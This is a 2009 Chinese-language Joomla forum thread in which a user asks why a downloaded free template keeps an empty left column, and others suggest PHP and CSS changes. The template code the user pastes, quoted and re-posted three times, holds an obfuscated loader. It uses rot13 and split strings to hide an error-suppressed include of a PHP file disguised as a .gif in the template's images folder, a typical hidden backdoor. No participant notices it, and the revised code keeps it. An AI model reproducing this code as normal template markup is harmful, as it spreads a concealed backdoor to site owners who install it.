Demo

討論

保持飢餓,保持愚笨 (Stay hungry, stay foolish)。 史蒂夫·賈伯斯

公告

本網站已取消討論區的討論方式,如果您有問題請至LINE群行動條碼圖片網址,或Facebook社團

left區停止發布後,在某布景中仍佔住位置

  • utpia
  • utpia 的個人頭像 Topic Author
  • 訪客
  • 訪客
2009-11-19 00:07 #16479 來自 utpia
utpia created the topic: left區停止發布後,在某布景中仍佔住位置
在下是接觸Joomla的新手,
本來發現Joomla有個很好的功能:
若將left區內的選單全停止發布,
文章就會自動從最左邊邊線開始顯示,且自動放大調整顯示區域大小。
當使用預設佈景主題時,這功能運作正常。
可是若切換到一個自網路下載的免費佈景主題後,
left區內的選單雖看不見,
但left區仍在,造成文章所佔區域仍原封不動不會自動調整左移放大,
不知該如何修正?

Please 登入 to join the conversation.

More
2009-11-20 00:10 #16490 來自 kochin
kochin replied the topic: left區停止發布後,在某布景中仍佔住位置
這是與你使用佈景主題的設計和程式撰寫的方式有關,每一個佈景主題都不太一樣,你需要閱讀它的程式碼來決定如何修改。

Please 登入 to join the conversation.

  • utpia
  • utpia 的個人頭像 Topic Author
  • 訪客
  • 訪客
2009-11-24 17:21 #16543 來自 utpia
utpia replied the topic: left區停止發布後,在某布景中仍佔住位置
它有關LEFT的程式碼如下,
大大可以幫忙看一下如何改嗎?

<div id="content">
<div id="leftcolumn">
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<jdoc:include type="modules" name="left" style="rounded" />
</div>

Please 登入 to join the conversation.

More
2009-11-24 22:03 #16544 來自 leelm53
leelm53 replied the topic: left區停止發布後,在某布景中仍佔住位置

utpia 寫了道:: 它有關LEFT的程式碼如下,
大大可以幫忙看一下如何改嗎?

<div id="content">
<div id="leftcolumn">
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<jdoc:include type="modules" name="left" style="rounded" />
</div>

utpia 君:
1.初看程式碼,有提到 right ,另 $JPan[0] 陣列不明,須要查看更多程式碼。
2.請問佈景主題名稱? 出自哪家公司?

Please 登入 to join the conversation.

More
2009-11-25 05:35 #16554 來自 kochin
kochin replied the topic: left區停止發布後,在某布景中仍佔住位置
沒看到完整程式不容易看出問題在何處,但根據你截出的程式段落,下面這行應該是 left 區域顯示的部分

utpia 寫了道:: <jdoc:include type="modules" name="left" style="rounded" />

你不妨試試將它改成
<?php if($this->countModules('left')) : ?>
    <jdoc:include type="modules" name="left" style="rounded" />
<?php endif; ?>
另外也請你檢查 CSS 中關於 <div id="leftcolumn"> 的 style 設定是什麼?

Please 登入 to join the conversation.

  • utpia
  • utpia 的個人頭像 Topic Author
  • 訪客
  • 訪客
2009-12-09 18:22 #16741 來自 utpia
utpia replied the topic: left區停止發布後,在某布景中仍佔住位置
我照大大說的改成如下這樣後還是不行耶!
另附上 leftcolumn的css在最下方,

目前驚人的發現是:
只要將css中
div.nopad的width:改小於 669px
就可以了說,
只是不知其中道理為何?
或者怎樣才是正確的改法?

<div class="center">
<div id="wrapper">
<div id="content">
<div id="leftcolumn">
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php if($this->countModules('left')) : ?>
<jdoc:include type="modules" name="left" style="rounded" />
<?php endif; ?>
</div>
<div id="maincolumn">
<div class="nopad">
<jdoc:include type="message" />
<?php if($this->params->get('showComponent')) : ?>
<jdoc:include type="component" />
<?php endif; ?>
</div>
<div class="clr"></div>
</div>
</div>
</div>

CSS部份

#leftcolumn ,#rightcolumn {
margin: 0px auto;
width: 200px;
float: left;
padding: 0 4px 10px 0;
text-align: left;
}

div#maincolumn {
float: left;
width: 669px;
margin: 0px auto;
padding-top:10px;
}

div.nopad {
width: 669px;
overflow: hidden;
padding: 0;
}

div.nopad ul {
clear: both;
}

td.middle_pad {
width: 20px;
}

Please 登入 to join the conversation.